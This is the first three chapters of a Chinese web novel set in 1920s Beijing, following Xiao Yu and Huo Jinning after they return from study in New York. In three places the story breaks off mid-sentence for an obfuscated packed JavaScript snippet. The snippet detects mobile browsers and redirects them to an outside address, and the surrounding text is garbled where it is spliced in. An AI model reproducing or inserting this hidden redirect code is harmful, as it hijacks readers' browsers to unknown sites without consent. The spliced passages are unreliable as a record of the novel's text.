《一生余得许多情》 1. 第 1 章 (本文官配cp:萧瑜vs梁瑾,霍锦宁vs阿绣,不要站错!不要站错!不要站错!!!) 民国十二年 北京城的夜和大洋彼岸纽约街头的,是顶不同的。 萧瑜支颐望着车窗外的景致,一时有些恍然。 远渡重洋五年,而今重归故里,曼哈顿街头夜如白昼的灯光仿佛还在眼前,钢筋水泥的高楼大厦努力向天空生长,百老汇歌剧院的衣香鬓影重重叠叠,甚至太平洋的潮声海浪滔滔不绝,耳边却已是钻进了冰糖葫芦的沿街叫卖,不远处杂耍敲锣打鼓的吆喝,好似历经千百世转生,天堂地狱游了一遭,恍如隔世。 曾经困顿四九城中,画地为牢以为是见遍人世,而今终是明白了林则徐先生书中那句话,所谓开眼看世界,大抵如此。 回过神来,萧瑜侧头瞧了一眼坐在身边的霍锦宁,他的西装外套随意搭在臂弯,身子靠在椅背上,闭目不语,不知在想些什么。 曾经长衫短褂的旧派公子哥,而今留洋归来西装马甲一丝不苟,貌似温润儒雅,内里漠然疏离,越发叫人捉摸不透起来。许多时候都这样不声不响,背地里却把一切都安排好了。 “你在想什么?” 霍锦宁缓缓睁开眼,一双英俊眉目内敛深邃,荡开了一丝若有若无的笑: “我在想,你我的婚事,过些日子也该办了。” 萧瑜一怔,而后微微挑了下眉。 当年霍家老爷子在世时,与萧老太爷同朝为官,两家世代交好,霍锦宁的娘亲还是萧家远亲,更是亲上加亲。她还在娘胎里,就与霍锦宁指腹为婚,两家老爷子亲口敲定的亲事,整个北京城谁不知道她萧二小姐是他霍二少的未婚妻。 然而这二十些年,两人默契的对这婚约都闭口不提,如今为何又突然提起了? 坦然回望她的目光,他慢条斯理道: “这几年霍家已迁居上海,我于情于理都该过去,你没过门跟着不便,我两地奔波总不长久。老爷子走后,家里还认这亲事的不多,再拖下去总有变数。你家老太爷身子骨不好,万一有三长两短,你一守孝又要耽搁,你我都老大不小了,家里人少不得动其他心思。况且......” 他轻笑了笑,视线落在她及耳的利落短发上。 车里地方小,她个高坐着别扭,马裤皮靴双腿交叠,却更显腿长,就这么歪头看着他,手里轻巧把握着一柄湘妃竹骨折扇,端得还是昔日那萧家二少的懒散模样。 “你不想穿回洋装长裙?” 他还记得她六岁时被剪了头发,强制脱下裙子穿上裤子时,哭天摸泪的委屈。 萧瑜不冷不热的笑了一声,她就知道这人八成拿这事笑话她一辈子。 “您多虑了,不如想想怎么说服您家霍大爷吧。” 霍成宣可是骨子里精打细算的商人,从不做赔本的买卖,如今萧家日薄西山,全靠萧老太爷一口气撑着,他怎么会同意独子的婚事就这么不赚只赔? 霍锦宁没有丝毫犹豫: “这你倒不必操心,你只要说嫁还是不嫁?” 不是咄咄逼人,倒像随口一问,于是萧瑜也片刻未想,随意道: “嗯,那就操办吧。” 左右今生今世,除了他,她没想过嫁旁人。 “只是二哥哥,你别忘了——” 她凑他近些,扇尖颇有深意的在二人肩膀上点了点,在他耳边用只有两人能听见的声音,轻笑道: “你我可是亲生的兄妹。” 天知地知,你知我知。 当年霍母沈月娘临终前,将这个她守了半辈子的秘密吐露出来: 锦宁,你和瑜儿是同父异母的亲兄妹。 那年她九岁,他十一。 . 汽车停在泰升戏楼门口,三层楼高的气派门面,红灯彩带,往上走是八大胡同胭脂巷,往下来是前门一条街,这儿可是近来最红火的戏楼子,今晚被人财大气粗包下整场,专门给二位接风洗尘。 萧瑜和霍锦宁刚一下车,门口待命的伙计连忙点燃了挂鞭,噼里啪啦,火星红纸四溅,在冬日将将暗下的夜色里应景的很。 两人迎着伙计扯着嗓子的喊声,走进戏楼。 “萧二少,霍二少到——” 楼里本就人头攒动,热闹非凡,这声吆喝好像火星迸进油锅里,一下子就着了。 萧瑜身上的外大衣刚来得及脱下来递给小厮,迎面一群年轻人已是风风火火的走过来。 为首那人浓眉大眼,相貌堂堂,一身绛紫色长袍,摘下礼帽,露出刮得泛青的头皮,大步流星上来就将霍锦宁结结实实抱住,爽朗笑道: “霍二,你小子可是回来!” 霍锦宁笑着拍了拍他的肩膀: “廖三哥还跟以前一样讲究。” “那是当然,小爷兄弟们在洋鬼子那里憋屈了四五年,今天终于回来,接风洗尘当然要办得风风光光的。” 听闻这人这几年投身了门子里,拜了道上有名有姓的爷们做契爷,本就是豪爽性子,如今行事越发渗透出绿林好汉的匪气来。 廖季生又转头看向萧瑜,不禁愣了一下。 萧瑜一笑:“廖三哥,不认识我了?” “诶呀,这可真是女大十八变啊,如今小瑜儿也长大了,不是当年那个能叫半条胭脂巷都看走眼的萧二少了!” 周遭的公子少爷都与二人有旧,此时都新奇的看着她,打趣的打趣,交头接耳的交头接耳,萧瑜但笑不语,不置可否。 这几年来,她也没什么大变化,只不过二十出头的大姑娘了,身段脸蛋总是不能像十几岁时,跟个少年似的雌雄莫辨。当年她高挑清瘦,一头短发,白衫长袍,轻佻风流,看上去就是个皮相大好的纨绔公子。 而今衬衫马裤高筒靴,虽然还是英姿飒爽,但一眼望去,谁都知道是个女子了。 何少胆子颇大,啧啧了两声,似惋惜似揶揄:“这以后‘萧二少’可是叫不下口喽!” 她这女儿身男儿装,又惯常风流做派,引得多少窑姐戏子的芳心暗许,少不得一群公子哥记恨,面上不敢说,只戏称一句“萧二少”,尽是嘲讽。 众人一片哄笑声里,霍锦宁不紧不慢说了一句:“打今个起,只有萧二小姐,就没有萧二少了。” 笑声戛然而止,大家面面相觑。 坊间有关萧二少的由来,早就传遍了,这萧府二小姐幼时被一高人批命,说是一辈子命犯桃花。男人桃花命那是风流,女人桃花命那可是淫/贱,好好的二小姐才六岁却总不能掐死,于是只能被绞了头发,穿上裤子,当男孩养。从此和一群公子哥上学堂,练功夫,上青楼,捧戏子,混账事没少干,奈何霍锦宁护着,萧家也睁一只眼闭一只眼,只等着大了些,将她从萧家这个门塞进霍家那个门,这才能恢复本性,做霍家二少奶奶。 而今霍锦宁这么发话,廖季生第一个反应过来,抚掌笑道: “好!好!我这兄弟和妹子看来是好事将近了,什么时候请喝喜酒,咱们可一定不醉不归!” 随即而来铺天盖地的恭喜声中,一群人簇拥着接风宴的正主上了二楼天字一号包厢。 美酒佳肴已备,戏台上一出《杨家将》唱得满座叫好,众人说说笑笑,闲话叙旧。 这群人多是京城里曾经家族显贵的世家公子哥,自小就认识,如今政局风云变幻,几年不见,多了一些人,也少了一些人,这年头家道中落实在稀松平常,没人提他们的去处。而剩下的遗老遗少,不说不学无术,也多半是依仗着祖辈家产,醉生梦死,挥霍无度。 酒过三巡,有人起了话头: “咱们这群人里,就霍家老爷子开明,让子孙都去西洋见识,如今霍二少可得给咱们说说那美利坚是什么样子,也好让咱们开开眼界!” 霍二少一笑:“从何说起?” “就从衣食住行说起吧。” 另一人却不赞同:“诶,这洋人的衣服满大街都是,洋人的吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424864|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食也没什么意思,不如直接说‘行’吧!” “这个好!”廖季生来了兴趣:“如今出行尽靠人力车,我本以为四个轮子的汽车就已经足够稀奇,可听说人家洋人去到哪里都是上天入地,真就是这样吗?” 萧瑜失笑:“三哥说的是飞机和地下铁道?” “对对!也不知咱们什么时候出门也能这么方便。” “任重道远。”霍锦宁无奈摇头:“飞机价格昂贵,平民承受不起,而地铁即是地下铁路,但现在中国连自己的地上铁路都修不了。” 陈少忿忿骂了一句:“他大爷的,早晚有一天,咱这北京城也要修他二三十条地铁,造个地下迷宫出来!” “嘿!那都能通到天津去,你也不怕挖塌了?” “管他呢,到时候让那什么美国佬英国佬都求着咱们去给他们修铁路!” “对,以后轮到咱们赚那些洋鬼子的钱!” 萧瑜和霍锦宁无奈对视了一眼,却是也笑了。 这群人不学无术,吹牛侃山的功夫却一等一的好,这一会儿就扯得没边儿,嘻嘻哈哈又是一轮喝了过去。 谈笑间,一出戏落了幕,一出戏上了台,灯影转,笛声起,帷幕亮,朱唇启,缠绵婉转的调子流淌而出: “原来姹紫嫣红开遍,似这般都付与断井颓垣......” 萧瑜手中茶碗一顿,抬眸往戏台上瞅去。 一个身影娉娉婷婷而立,手中一把花团锦簇牡丹金扇,粉面桃花,顾盼流转,是个玲珑秀美的杜丽娘。 她低声一笑,“三哥有心了。” 廖季生摆了摆手:“谁不知道你最爱这出《游园惊梦》?才子佳人缠绵调子,我这粗人是欣赏不来。” 霍锦宁打趣:“我竟不知道你是为这风月佳话才听戏。” “人美词美,与儿女私情倒是无关。”萧瑜斜瞧他一眼,似笑非笑:“二哥哥比柳梦梅更胜一筹,我爱那戏文里子虚乌有的干什么?” 过去听戏唱曲,不过是个打发时间的营生,这《牡丹亭》到底是雅上不少,对这出偏爱是因为熟悉,有人手把手一字一句教过她唱这段《皂罗袍》,想忘也难。 阔别数年,如今正是久违了。 不过物是人非,红颜白骨,这杜丽娘美极妙极,却并不像故人。 陈家少爷指着台上那旦角跟萧瑜说道: “你可别小瞧,这个是梨园行里新晋的碧云天,云老板,虽然名声还不比那梅老板、兰老板响亮,可就这模样一亮相,真是天仙也给比下去了。假以时日,不可限量。” 又有人道:“别的不敢说,这出戏,萧二...小姐,您可是行家,您给断断?” 这会儿功夫,台上园子游完,春日睡去,花神做媒,白衣书生手捻垂柳,和杜小姐梦中幽会上了。 萧瑜摇头笑了笑,拿茶盖轻拨水面,吹了几口。 “这杜小姐确实是个天仙,可惜这柳书生差些火候。” 坤生扮相,最忌阴柔,那乾旦毫无浊气,那书生却满脸娇羞,实在是扫兴。 陈少赞叹:“好眼力!你有所不知,这碧云天唱这出《游园惊梦》惊艳四座时,对的那可是‘天下第一坤生’娄小舟,他二人正是师姐弟,可惜娄小舟去年嫁人息戏,真是可惜啊,可惜!” 说起这个,在座各位无不是扼腕叹息,遗憾得紧。 萧瑜了然:“这位云老板失了知己,还拖着不争气的同门,真是不易,既然如此,该是好好赏一赏。” 一语双关,别人还没听出来,霍锦宁先笑了起来,吩咐身后的小厮: “霍祥,听见没有,二小姐说赏。” “得嘞!” 不一会儿,小厮就端了红布盖着的漆木托盘,揭开一看,满满晃眼的银元,萧瑜随手把手上的白玉扳指也摘下去扔里。 “去吧。” 片刻后,楼下响亮的吆喝起来: “萧二小姐有赏,大洋三百,白玉扳指一枚——” 2. 第 2 章 这口子一开,引得大伙争先恐后都慷慨解囊赏了起来,还免不了一阵打趣。 “萧二小姐风流不减当年啊!” “诶,该是说霍二少还是这般知情识趣。” 廖季生拍着霍锦宁的肩膀佩服道:“霍二,没想到几年不见,你俩还是这样,天生一对,我是服了!” 萧瑜自小是跟着霍锦宁和廖季生混大的,骑马打枪拳脚功夫,该学的学了个遍,逛青楼喝花酒,不该学的也一样没落。她做什么,霍锦宁都陪着,她闹什么,霍锦宁都纵着,可叫大家都开了眼界,直言霍二少古往今来风流第一人,就落在这四个字上——携妻狎妓。 当事人对此俱是摇头笑笑,不置可否。 《牡丹亭》落下了幕,萧瑜深知这帮纨绔子弟的脾气,有些稀奇的问道: “今儿个怎么不请那位云老板喝一杯了?” 过去遇见有姿色的戏子,总少不了叫来陪酒,几年不见,莫非转了性? 陈少语气悻悻:“云老板和那些个庸脂俗粉不一样,刚烈的很,从不卸妆见座儿,陪酒更不必说,搞不好血溅三尺,平白扫兴。” 何少也道:“听说是有贵人照拂,不过我看是那庆祥班的班主佯作奇货可居,娄小舟走了,这碧云天就是最大的台柱子了。” “这倒是挺难得。”萧瑜笑笑,“但还是叫人请一请吧,这不能因这角儿不来,你就不请,这算什么捧?搞不好他还要恼怒。正因为不来才要请,请不来不为难就是。” 她看向霍锦宁:“你说呢?” 霍锦宁虽是陪着纵着,却对这些风月情长从来冷淡至极,只说随她意。 本是怜香惜玉的一敷衍,谁也没放在心上,没想到不大一会儿,门外伙计喊了声: “云老板到——” 众人惊讶间,门帘掀开,轻声慢步走进一个素净长衫的少年。 褪尽铅华,素面朝天,却仍是长眉凤目,唇红齿白,俊俏的好像从书画里走出来人。 他一抬头,满座无声。 谁曾想这杜丽娘卸了妆,竟仍是个倾国祸水。 只是台上眼波流转,台下却疏离冷清,他缓缓看过众人,目光终是落在正中央萧瑜身上。 “多谢二小姐,在下方才献丑了。” 他接过小厮斟满的酒杯,遥遥向萧瑜敬了一下,仰头缓缓一饮而尽。 “在下还有事,先走一步。” 他望着萧瑜,神情冷淡,眼中却若有若无的笑意,就这样轻飘飘的转身离去。 如风似露,神仙归隐一般。 人都走了,满屋子人才反应过来,一时间哄笑揶揄,七嘴八舌的讨论起来。 霍锦宁看了看手中折扇半开半合僵住的萧瑜,摇头失笑。 萧瑜慢慢合起扇子,捻起酒杯,喝下了这杯酒,笑叹了声: “有意思。” 风月场里她也算游刃有余,从来没有接不住的场子,这个云老板,当真有些意思。 ...... 今儿个这局散的早,月上中天,意犹未尽,正主乏了,众人就识趣离了场。 然而一摊散了,还有另一摊,泰升戏楼人去灯灭,七拐八拐的胡同里一家小酒馆亮起了灯。 小伙计躲在柜台里早就瞌睡了,门窗紧闭,唯一的一桌客人,桌上铜锅炭火烧得正旺,摆了盘子叠盘子的肉片蔬菜,一壶酒四个杯,廖季生、霍锦宁和萧瑜三人一边打围炉,一边有一搭没一搭的聊着。 三更天时,才响起了敲门声,晚到的客人姗姗来迟。 廖季生去开门,只见门外来的是个消瘦的男子,灰色夹袄深蓝长巾,中分短发,鼻子上架着副圆圆的眼镜,斯文的脸上冻得通红,却还挂着微笑。 “书呆子,你可真是大忙人,见你一面比登天还难!”廖季生闪开身子,让他进来。 谢玄康笑了笑:“在忙这届同学毕业册的插图和设计,这周就要完工,时间紧迫啊。” “玄康兄。” “谢大哥。” 霍锦宁和萧瑜站起身来,谢玄康脸上笑意更深了,有些感慨,有些喜悦,他不顾满身霜寒,走过去用力的抱了抱二人。 “回来了?回来好!出门不易,留学能平安回来的,都是好样的!” “可你却又要走了。”廖季生将炉子上一直烧着的水倒在杯里,推给他暖手,笑道: “给他们接风,给你送行,今晚正好一起办,省了小爷银子。” 这才是今晚相聚的真正意义。 人有亲疏远近,道不同不相为谋,方才戏楼里那些,有一个算一个,不过都是酒肉之交,醉生梦死图个乐。 他们四个才是真正从小一起长大的朋友兄弟,分别数年,情谊犹在。入座斟酒,在这寒冷的冬夜里,黄铜炉火很快就让氛围热烈了起来。 廖季生揶揄道:“过些时日你可就远走他乡了,你那位王家小姐怎么办呢?” “她是赞同我出国的,本来想和我同往,但她父亲并不怎么同意我们的婚事,要将她送去法国。这样也好,她也有她的前途,日后我们虽然不在一起,但求知的心都是相同的。”谢玄康脸上并无遗憾,想必与那位王小姐真的心意相通,互相理解。 萧瑜问道:“谢大哥,我记得你以前可是不打算留洋的,如今怎么改了主意?” 谢玄康出身书香门第,父辈都是老派保守学者,他虽在曾经是游美事务处的清华学校读了多年书,原先却丝毫没动过出国的念头。 他自嘲一笑:“原先我总觉得向西方列强学习,不过是学其技术工业,所谓中体西用。这几年在学校中得遇名师大家,经新文化思潮洗礼,受益匪浅,才知道过去自己何等狭隘。我们落后于人的又何止是器物?在当今时代,连传承我们原先有文明硕果,都万般艰难。” “所以谢大哥准备继续学文学?” “不,我这次赴美要考取的专业是建筑。” “建筑?”廖季生一惊一乍道:“你以后莫不是要搬砖盖房子做泥瓦匠去?” “当然是泥瓦匠,不过建筑也是艺术。它是凝固的历史,是石头的史诗。中国古建筑独树一帜,可惜我们从来没有系统的研究过。”谢玄康不无遗憾道:“如今国内根本没有太多可考文献,仅有的资料竟是日本人拍的一些照片。我希望将来有一天,我能亲手书写一部中国人自己的建筑史。” 谢玄康看似木讷,骨子里有股文人犟脾气,如今这样说,那便是已下定决心,立下志愿,不达目的不回头了。 “嘿!艺术不艺术的我不懂,我就不知道这洋学堂真能学到什么本事?” 廖季生看向萧瑜,萧瑜嗤笑:“你别瞧我,我不过是陪太子读书,梵婀玲和管风琴学了一些,日后衣食无着还能在洋教堂混口饭吃,你问霍二少啊。” 霍老爷子远见卓识,家中子弟纷纷留洋海外,霍锦宁进的是美国哥伦比亚大学,萧瑜功课差些没能考上,最后阴差阳错进了哥大附属女子学校念的艺术。 “霍二,我听闻你读的叫什么商业管理的,这番回来莫不是真要继承霍家家业?” 霍锦宁轻轻一笑:“何乐不为?” 霍家家大业大,霍老爷子霍熙怀是最早那批洋务大臣,瞅准势头在江浙两广置办了不少产业,早早辞官从商,举家迁居上海。家中涉及轮船、电报、铁路、钢铁、银行、纺织、教育诸多领域,这些年俨然是江浙一流实业大亨,沪上第一豪门。 霍熙怀膝下四子三女,霍锦宁是霍大爷霍成宣的独子,早年上头有一大哥,五岁夭折。霍锦宁虽排行二,却是正经的长房长子,自幼深得霍熙怀宠爱,这霍家家业早晚是他的。 可谢玄康却知他个性,只笑道:“季生你不必疑心,须知一个十三岁便给自己取表字为‘耀中’之人,怎会轻易放弃理想?” “以前是读书人自命清高,如今开眼看世界,才懂得祖父实业救国的良苦用心。”霍锦宁摇头叹道:“中国缺枪,缺炮,缺铁路,缺轮船,无所不缺,可想有这一切,首先得有钱。” 达,则兼济天下。有钱有权,才能做大事。 “廖三哥别光数落我们,置身事外一样,”萧瑜拿筷子点了点桌面,笑道:“你心里难道没提着那一口气?不然我们今日好歹要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424865|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫你一声廖长官了。” 民国已建十余年,可人们期盼的民主共和终究没有到来。军阀割据,民不聊生,全国南北对立,连京师内部也是派系争斗不休。 去年直奉大战,北洋政府由曹大帅掌权,廖家是曹家姻亲,地位扶摇直上。廖季生原先在保定军校上学,家中早就铺就了锦绣前程,可恰逢学校暴动,师生武斗,火烧营房,双方伤亡惨重,不得已停办军校。后来各方奔走呼吁,这才得以在翌年复校。但廖季生是当年校园兵变的领头之人,被军校除了名。而他不仅毫无悔改之意,还转身就混进江湖,成日与地痞流氓为伍,廖父一气之下便与他断绝了父子关系。 这人侠骨丹心,嫉恶如仇,若说廖季生心中没有那一口气在,萧瑜是如何也不信的。 可他偏偏嘴硬的很,被问到这份上,也不过笑呵呵来一句,“我无法无天惯了,做不来廖长官,如今不过是领着手下小弟混口饭吃,可比不得你们一个个的远大抱负。来吧,今儿个就是今儿个了,为了你们各自眼前的康庄大道,咱当浮一大白!” 萧瑜举杯,纠正道:“是我们的路。” 无论习文学武,亦或从商为官,无论参军求学,亦或革命流血,殊途同归,都是为了报国救民,让我华夏中国重振雄威。 四人举杯共饮,今朝所有少年意气,所有慨然豪情,都在这杯酒里。 前堂聊得热火朝天,后厨里也不甘示弱。 今儿个霍锦宁身边的听差霍吉霍祥是兄弟俩,从小被霍老爷子指派在少爷跟前伺候,哥哥霍吉甚至还跟着霍锦宁漂洋过海出了国,二人算得上是霍锦宁的得力心腹。 霍祥端来一盘子新鲜的羊肉卷坐到桌边,迫不及待的下到铜锅里。 他吸起鼻子陶醉的闻了闻肉香,对身边的霍吉挤眉弄眼道:“吉哥,好几年没吃着刷羊肉了吧?嘿,让你小子巴巴的跟着小姐少爷出去见世面,留我一个人在霍家书房里扫蜘蛛网,闷都闷死了。” 当初霍锦宁出国时带了霍吉没带霍祥,霍祥别提多耿耿于怀了。 “清汤锅底,食材简单,在国外时我们也常自己做来吃的。”霍吉面无表情,可是眼神里还是带着鄙视。 “那、那也没有咱这百年铜锅,内蒙羊羔肉正宗啊!”霍祥不甘示弱的嘟囔两声,他发觉这闷葫芦去西洋转了一圈有些了不得,自己有些对付不过了。 “吉哥,现在少爷小姐也学业有成了,咱也老大不小了,你以后有什么打算没有?” 霍吉莫名其妙看了一眼:“当然是继续跟着少爷。” “嗨!我当然也是继续跟着少爷小姐啊,谁说不是呢,我是说你自个儿。”霍祥嘿嘿一笑,“我嘛,就想少爷给我做主,明后年能讨个漂亮媳妇,生他五七六个大胖小子,以后老婆孩子热炕头,小日子自在!” 霍祥在畅想着以后的安逸生活,而此时霍吉想到的却是另外一些画面。 昔日世界大战打响,为了有机会参与战后的和会,为了与日本争夺在山东的主权,中国派出大量劳工到欧洲战场,他们在战争最惨烈的时候被推上了前线,死伤惨重,薪酬寥寥。然而战后“战争纪念”的巨画在纽约公开展出时,原定中国劳工的部分为了给后参战的美国人腾出版面,竟然完全被抹掉了。 巴黎和会的最终结果传来的那天晚上,霍锦宁和萧瑜租住的公寓里挤满了等候消息的华人留学生。中国作为战胜国,却成了任人宰割的对象,德国强占山东半岛的主权,竟然被让渡给了日本人。愤怒和失望弥漫在所有人心中,一群血气方刚的少年失声痛哭,有人甚至当场写血书立誓。 霍吉也哭了。 我华夏泱泱大国何以沦落到这份田地? 少爷说,谁也不能帮我们,谁也不能救我们,想要把今日之耻还回去,想要把今日之恨报回去,除富国强民外,别无他法。 “我还是要跟着少爷的。”霍吉不自觉攥紧了双拳,坚定道:“一辈子跟着少爷。” ——此去西洋,深知中国自强之计,舍此无所他求。背负国家之未来,取尽洋人之科学。赴七万里长途,别祖国父母之邦,奋然无悔! 3. 第 3 章 萧瑜回萧府时,已经是后半夜了,一个大家小姐半夜三更不着家实在是不成体统,然而这是萧老太爷默许的。事实上这些年来,她在外面如何撒野,娘不在爹不管,除了几个叔伯婶子不阴不阳说些闲话,早就没人管她了。 十三岁那年,她跟着霍锦宁廖季生第一次上青楼,不知被谁嚼舌头根到萧老太爷那里,她被罚跪祠堂,禁足反思。 彼时,是霍锦宁拉着她跪在萧老太爷面前,不卑不亢道:瑜儿既然早就许了我,那她就姓霍,她想做什么随她心意,日后她成什么模样,都是我霍家的媳妇,是我霍锦宁的妻。 打那以后,萧家再没人敢管她。 府里静静悄悄的,萧子显的院子里倒是有些动静,隐隐约约,如泣如诉的,她半点都懒得理睬,直接进了锦屏苑。 萧府四子两女,她这房是最清净的。父亲萧子显成日里躺在床上抽大烟,形如废人。他身边没有妾室,只跟房里的丫鬟厮混,弄死了就换一茬。母亲康雅惠嫁过来不久,实在忍受不住,在萧瑜两岁那年,以陪小妹留学的名义被康家安排出国,自此抛夫弃子再没回来。辛亥那年登报离婚,翌年再嫁,倒成了民国第一桩离婚案,很是叫人津津乐道。 往下就剩她这个二小姐,还有一个姨娘生的的弟弟萧珏,住在这锦屏苑。 她一进门,丫头金环就迎了上来。 “小姐,您喝酒了?醒酒汤早就备下了,您是先洗漱还是......” 萧瑜摆摆手:“不是说不必等我,你们睡你们的,我不一定会来,何苦熬到这时候?” 金环笑笑,也不说话,替萧瑜脱了外衣,递上暖炉,接过小丫鬟端过来的醒酒汤轻轻放在桌上。 萧瑜无奈摇头。 金环这丫头打小就跟在她身边伺候着,样貌不出挑,性子也不机灵,就是一点,心眼实在,十足十的忠心。 银钏是个聪明活泼的,要是她还活着,跟金环一动一静,倒是相得益彰。可惜她走了好些年了,如今这院子里的人是越来越少了。 “珏儿呢?” “小少爷还等着您呢。” 萧瑜去了萧珏的屋子,推开门,果然见那个瘦小的男孩子趴在桌子上,听见门响,猛地抬起头,惺忪睡眼亮了亮: “姐姐?” “睡在外面,大冷天的也不怕着凉。”萧瑜走过去俯身捏了捏他的脸。 “姐姐,珏儿不困!今晚上有三奶奶赏各院的桂花馅儿小汤圆,珏儿偷偷给你留了一碗,你可别告诉金环姐。” 他转身噔噔跑到床边,从棉被里拉出一只红漆食篮,里面一碗圆滚滚的小汤圆,被献宝一样端到萧瑜面前。 “怎么放在棉被里,不怕糖水洒到床上?” “被里子暖和,金环姐说凉了就不好吃了!” 萧瑜看了看那碗早就凉透的汤圆,又看了看萧珏一双乌黑圆凉的眼睛,叹了口气: “好,姐姐待会儿吃,你要是喜欢吃以后让小厨房常给你做。” 这几年他跟金环在这小院子里缺衣短食,没少叫人为难,连这一碗汤圆都吃着稀奇。 “去睡吧。” 萧瑜将他抱起来,绕过屏风,放在床上,“今个儿我回来了,以后没人敢动你们。” 萧珏老老实实盖在被子里,认真道:“嗯,我知道,金环姐一直都跟我说,只要姐姐回来了,就没人再欺负我们了,没人敢给我们放馊的饭菜,没人敢短我们过冬的炭火,没人敢说我是野种了......” “嗯,没人敢了。” 萧瑜给他掖了掖被角,又摸了摸他瘦削的小脸:“下次别等我了,近日里我在外面置办了个院子,不常回来,你休息不好,可长不高个了。” 闻言萧珏一下子攥住了被角,他垂眸,细弱蚊蝇的问:“姐姐,你,你又要走吗?别再不要珏儿了......” 他长得白净秀气,这样怯懦的姿态跟个女孩子似的,低眉垂目的神色像极了他亲娘。 生他的姨娘是萧子显唯一纳过的妾室,叫小月娥,是个花街柳巷唱曲儿的,那几年萧子显对她不错,可惜她命薄,没几年就去了,只剩萧珏一个人,孤苦伶仃,受人欺凌。 萧瑜五年前出国时,他才两岁多,有心照拂,也不能带走,只能把金环留在他身边护着他。 萧老太爷最信算卦扶乩,有人说萧瑜命犯桃花,所以她被当作男儿养大,有人说萧珏克父克母,所以他被关在这锦屏苑的不准见人。只不过前者是命,后者却是她暗中安排。她这一房人丁稀少,她一走,那些虎视眈眈的叔伯断然不能放过这个小娃娃,五房绝了后,才能少了争家产的,里里外外不知有多少人等着要萧珏的命。 “我不走,只是我外面有事,这深宅大院多有不便。我那院子在燕子胡同最里面那间,你有事就差小六子去找我。我要真离开这里那天,一定会带着你和金环走。” 萧瑜昔日对月姨娘有欠,她这独子,萧瑜一定会保住。 她低下头,在他耳边轻声承诺:“放心,那一天不远了。” 把萧珏哄睡下了后,萧瑜回到卧房中,一个低眉顺眼貌不惊人的丫头,悄悄跟了进来。 “说罢。” 萧瑜坐在桌边吩咐道。 小丫头应声,细声细气把这一天内,府里上上下下的事都讲了一遍。 萧瑜听不多会儿,就摆手制止了:“这些家长里短不必说了,今日赵医生看过四爷怎么说?” “回小姐,赵医生说,四爷时日不多了。” 萧子显从前年起就中风瘫在床上,半边身子不能动,吃喝拉撒都得别人伺候着。 “老爷子呢?” “老爷子的病倒是有起色,今天下地到花园子里溜达了几圈,心情不错。” 萧瑜点头:“好了,知道了,你下去吧,之后仔细盯着点。” “是,小姐。” 小丫头退下后,萧瑜又静静思索了会儿,而后自嘲的笑了。 打记事儿起,萧子显就躺在榻上烟雾弥漫的抽着鸦片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424866|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,犯起瘾来,六亲不认,过了瘾后,又在床上折磨婢女,没半点人样。 就这么个不成人样的东西,逼走了母亲,逼死了银钏,葬送了小月娥,害得沈月娘一生郁郁寡欢。 银钏跟她从小一起长大,是个俏丫头鬼灵精,十五岁偷偷有了心上人。萧瑜本是允了她十六岁送她嫁妆把她风光嫁人,没想到阴差阳错,被萧子显强要了身子,第二天就投了井。 曾经自己巴不得萧子显早早一命呜呼,现在居然还得尽心尽力让他活长久点,当真世事难料。 ...... 正阳门火车站人来人往,男女老少熙熙攘攘,霍吉霍祥哥两个忙前忙后的托运行李,萧瑜和霍锦宁在贵宾候车室里躲清闲。 “几步路远,你何必来送?” “反正闲着也是闲着。”萧瑜问,“你几月回来?” “说不准,这要看上海那边的形势,但至多夏末之前,我总会回来一趟。” 萧瑜噗嗤乐了:“现在外面可还飘着雪花,你这一竿子支得够远。怎么着,伯父能把你派哈尔滨打理生意去?” “要是哈尔滨也不错。”霍锦宁顺着她的话开玩笑:“只怕就算到了哈尔滨,也有人不辞辛苦的跟了去。” 萧瑜摇了摇头:“你霍家如今风头正盛,姊妹弟兄明争暗斗,我这小门小户的真是比不了。” 这话倒不是玩笑,如今霍家是沪上第一豪门,而萧家老太爷虽在前朝官居高位,辛亥之后不过是侥幸跟对了靠山,才能残喘至今,勉强捞了个农商总长,可惜底下儿女一个赛一个的不争气,前途渺茫。 “好在我父亲不是个软心肠。” “霍二少可是青出于蓝而胜于蓝。” 萧瑜笑了笑,又道:“说起来,这似乎是你我第一次分别这么久。” 不说青梅竹马的整日厮混,就是在外求学那五年,两人也是形影不离,同甘共苦,这回回到国内,倒是要分开了。 “等我再回来时,可是要上萧府提亲了,你尽可趁着这段日子为所欲为。” “难不成等我以后不能为所欲为了?”萧瑜斜睨他。 “等你成了霍家二少奶奶,怕是旁人就不敢陪着你胡闹了。” “呵,你不必操心,我以后都一直会是萧二小姐。” “我可不操心。”霍锦宁摇头失笑:“我看你身边没什么得力的人,让霍祥跟着你吧。” 